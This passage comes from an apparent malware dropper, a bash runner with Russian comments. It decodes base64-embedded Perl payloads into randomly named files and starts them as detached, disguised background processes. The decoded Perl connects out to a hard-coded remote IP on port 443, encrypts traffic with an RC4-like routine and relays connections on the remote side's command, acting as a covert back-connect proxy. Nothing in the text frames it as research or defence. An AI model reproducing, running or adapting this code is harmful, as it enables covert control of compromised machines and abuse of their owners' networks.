CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #34 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #34 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 35 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu 